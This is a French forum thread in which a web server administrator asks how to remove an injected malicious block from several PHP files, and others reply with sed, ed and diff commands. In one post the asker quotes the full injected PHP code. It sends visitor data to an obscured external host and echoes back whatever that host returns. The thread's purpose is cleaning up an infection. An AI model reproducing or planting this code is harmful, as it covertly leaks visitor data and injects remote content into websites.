Forum Programmation.shell rechercher / remplacer multiligne

Posté par . Licence CC by-sa
Tags : aucun
0
14
oct.
2013

Bonjour,
sur un site web dont je gere le serveur, nous avons une verole.

J'ai trouvé le motif à supprimer de plusieurs fichiers.
ce motif s'obtient facilement en faisant

grep -B12 -A15 aHR0cDovL21icm93c2Vyc3RhdHMuY29tL3N0YXRIL3N0YXQucGhw index.php

maintenant je voudrais supprimer ces lignes du fichier index.php
j'ai pensé à sed/awk, mais je ne sais pas comment lui dire de prendre les 12 lignes avant le motif, et 15 lignes apres pour les remplacer par "rien"

evidemment s'il n'y avait qu'un seul fichier, je l'ouvrirais et je taperais en dur dedans
mais comme il y en a plusieurs, si je pouvais faire un
find xxx yyy -exec monscript_qui_nettoie.sh \;

ca m'arrangerait bien

  • # Une piste ....

    Posté par . Évalué à 2.

    Il y a peut-être moyen de faire mieux mais voici une première piste :

    $ more /tmp/toto
    abc
    def
    ghi
    jkl
    mnopqrs
    tu
    
    
    $ grep -B 1 -A 1  f /tmp/toto >/tmp/toto2
    
    $ cat /tmp/toto2
    abc
    def
    ghi
    
    
    $ comm -23 /tmp/toto /tmp/toto2
    jkl
    mnopqrs
    tu
    
    • [^] # Re: Une piste ....

      Posté par . Évalué à 2.

      pas mal mais non,

      ca ne marche pas dans si c'est du code au milieu du fichier, car ca cherche des fichiers hierachisés
      avec possiblités de trier par ordre alphanumerique

      or le bout de code a trouver à l'interieur des fichiers est le suivant.

      ?><?php
      if (!isset($sRetry))
      {
      global $sRetry;
      $sRetry = 1;
          // This code use for global bot statistic
          $sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); //  Looks for google serch bot
          $stCurlHandle = NULL;
          $stCurlLink = "";
          if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes
          {
              if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create  bot analitics            
              $stCurlLink = base64_decode( 'aHR0cDovL21icm93c2Vyc3RhdHMuY29tL3N0YXRIL3N0YXQucGhw').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
                  @$stCurlHandle = curl_init( $stCurlLink );
          }
          }
      if ( $stCurlHandle !== NULL )
      {
          curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
          curl_setopt($stCurlHandle, CURLOPT_TIMEOUT, 6);
          $sResult = @curl_exec($stCurlHandle);
          if ($sResult[0]=="O")
           {$sResult[0]=" ";
            echo $sResult; // Statistic code end
            }
          curl_close($stCurlHandle);
      }
      }

      on se rend bien compte qu'il ne faut pas rechercher juste ligne par ligne
      mais le motif dans son ensemble

      j'ai trouvé un truc qui semble le faire sur mes 3 fichiers de test, c'est avec :

      diff --suppress-common-line -y index.php motif.txt | sed -e 's/<$//g'
      • [^] # Re: Une piste ....

        Posté par . Évalué à 2.

        ??? Tu peux m'expliquer la ifférence entre diff --suppress-common-line et comm ? Là j'ai l'impression que c'est la même chose.

        • [^] # Re: Une piste ....

          Posté par . Évalué à 3. Dernière modification le 14/10/13 à 16:36.

          le comm ne semble pas aimer si j'ai

          Fichier.php

          aaa
          bbb
          ccc
          ddd
          eee
          fff
          ggg
          

          motif.txt

          ddd
          eee
          fff
          

          en fait si
          ca marche avec ces exemples mais pas avec du code plus complexe :(

          ca me renvoie
          comm: le fichier 1 n'est pas dans l'ordre attendu
          comm: le fichier 2 n'est pas dans l'ordre attendu

          • [^] # Re: Une piste ....

            Posté par . Évalué à 2.

            OK, j'ai compris, merci.

            Je pense que tu t'en sortirais plus facilement avec Perl …. Mais comme ça fait un bail que je n'en ai pas fait, je ne peux pas trop t'aider.

  • # En bash (probablement)

    Posté par . Évalué à 10. Dernière modification le 14/10/13 à 16:25.

    Sauf erreur et si j'ai compris ce que tu veux faire

    pos=`grep -n  aHR0cDovL21icm93c2Vyc3RhdHMuY29tL3N0YXRIL3N0YXQucGhw index.php |sed s/:.*//`
    
    before=$(($pos - 13)) # ajouter 1
    after=$(($pos +15))
    
    sed -i "$before","$after"d index.php
    
  • # Commun un appel à l'ed

    Posté par . Évalué à 1.

    ed -s input <<< $'/aHR0cDovL21icm93c2Vyc3RhdHMuY29tL3N0YXRIL3N0YXQucGhw/;-10;.,+15d\nwq'
    

    Dans cet exemple, ça "matche" la ligne voulue, retourne 10 lignes en arrière et efface 15 lignes.

Suivre le flux des commentaires

Note : les commentaires appartiennent à ceux qui les ont postés. Nous n'en sommes pas responsables.